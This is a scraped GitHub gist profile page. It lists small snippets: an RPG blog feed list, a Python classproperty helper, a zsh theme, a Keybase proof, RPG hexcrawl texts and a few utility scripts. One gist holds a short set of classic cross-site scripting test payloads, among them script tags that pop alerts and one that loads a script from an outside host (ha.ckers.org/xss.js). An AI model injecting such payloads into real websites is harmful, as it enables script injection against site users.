Skip to content

Instantly share code, notes, and snippets.

View funkaoshi's full-sized avatar

Ramanan Sivaranjan funkaoshi

View GitHub Profile
<opml version="2.0">
<body>
<outline text="Subscriptions" title="Subscriptions">
<outline xmlUrl='https://1d30.wordpress.com/feed/' />
<outline xmlUrl='https://3toadstools.blogspot.com/feeds/posts/default?alt=rss' />
<outline xmlUrl='https://9and30kingdoms.blogspot.com/feeds/posts/default?alt=rss' />
<outline xmlUrl='https://abominablefancy.blogspot.com/feeds/posts/default?alt=rss' />
<outline xmlUrl='https://aeonsnaugauries.blogspot.com/feeds/posts/default?alt=rss' />
<outline xmlUrl='https://alexschroeder.ch/wiki/feed/full/RPG' />
<outline xmlUrl='https://antiledo.blogspot.com/feeds/posts/default?alt=rss' />
@funkaoshi
funkaoshi / classproperty.py
Created August 10, 2015 18:28
classproperty
class classproperty(property):
"""
Marries @property and @classmethod
Why doesn't python have this? Grr..
"""
def __new__(cls, fget, *args):
return super(classproperty, cls).__new__(cls, classmethod(fget), *args)
def __get__(self, obj, type=None):
return self.fget(type)
@funkaoshi
funkaoshi / mh-ram.zsh-theme
Last active August 29, 2015 14:10
mh-ram, my fork of the mh theme for zsh
# mh theme
# preview: http://cl.ly/1y2x0W0E3t2C0F29043z
# features:
# path is autoshortened to ~30 characters
# displays git status (if applicable in current folder)
# turns username green if superuser, otherwise it is white
# if superuser make the username green
if [ $UID -eq 0 ]; then NCOLOR="green"; else NCOLOR="white"; fi
### Keybase proof
I hereby claim:
* I am funkaoshi on github.
* I am funkaoshi (https://keybase.io/funkaoshi) on keybase.
* I have a public key whose fingerprint is BBBC 136E 4036 5070 D219 AE3D 09B9 4D37 D8E6 9C6D
To claim this, I am signing this object:
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
@funkaoshi
funkaoshi / gist:5291901
Created April 2, 2013 12:40
The Nymph's Shadow Realm by Harald Wagener for the Hexenbracken project.

The Nymph's Shadow Realm

[Hex 0125][1]

Truth be told, the Shadow Realm is as much the Nymph's as the sunlight is the humans or the mountains are the Dwarves' -- they appropriated as they encountered it at the core of the millenial oaks that are their immortal ancestors.

The Shadow Realm is more dangerous than you may think when you see a Druid open it during their moon-bare nightly ritual. It is as if the shadow of the oaken mother ripples, like a pond after a dryad kissing you returns to her watery home.

A druid can learn the ritual to call forward an opening to the shadow realms, but at a price. Usually it is a day and a year in service to the nymphs, an ordeal that ages humans by decades (1d10x5 years); elves can only learn it by offering one of their offspring into eternal bondage; very few are willing to pay the price. No-one ever heard of dwarves or halflings being privy to the secret ritual, which can be observed as follows:

@funkaoshi
funkaoshi / hackenbrack.md
Last active December 15, 2015 15:09
The Hackenbrack by Zak Smith and Friends.

The Hexenbrack

0101

Well. 3 crocodiles.

0102

Mulk human settlement. excellent glassblowers.

@funkaoshi
funkaoshi / md2html.rb
Created March 28, 2013 22:32
A simple script that takes a template, markdown file, and an optional foreword and spits out an HTML file.
#!/usr/bin/env ruby
require 'liquid'
require 'redcarpet'
if ARGV.length < 2
puts "Usage: md2html <template> <markdown_doc> [markdown_foreword]"
exit
end
@funkaoshi
funkaoshi / gist:4965672
Last active December 13, 2015 19:49
I was curious what the distribution was when you ask a player to try and roll under a D&D attribute, in general.
import collections
import random
def d(die): return random.randint(1, die)
def xdy(x,y): return sum(d(y) for _ in xrange(x))
# How many times we will peform our simulation
TEST_RUN = 1000000
# Roll up an attribute score 3d6 and proceed to try and roll under it, storing
@funkaoshi
funkaoshi / gist:4827204
Created February 13, 2013 01:37
Merge versions in two puppet files.
import sys
import re
from pkg_resources import parse_version
updates = sys.stdin.read()
records = updates.split(';')
packages = {}
for record in records:
fields = [r.strip() for r in record.split('\n') if r.strip()]
if not fields: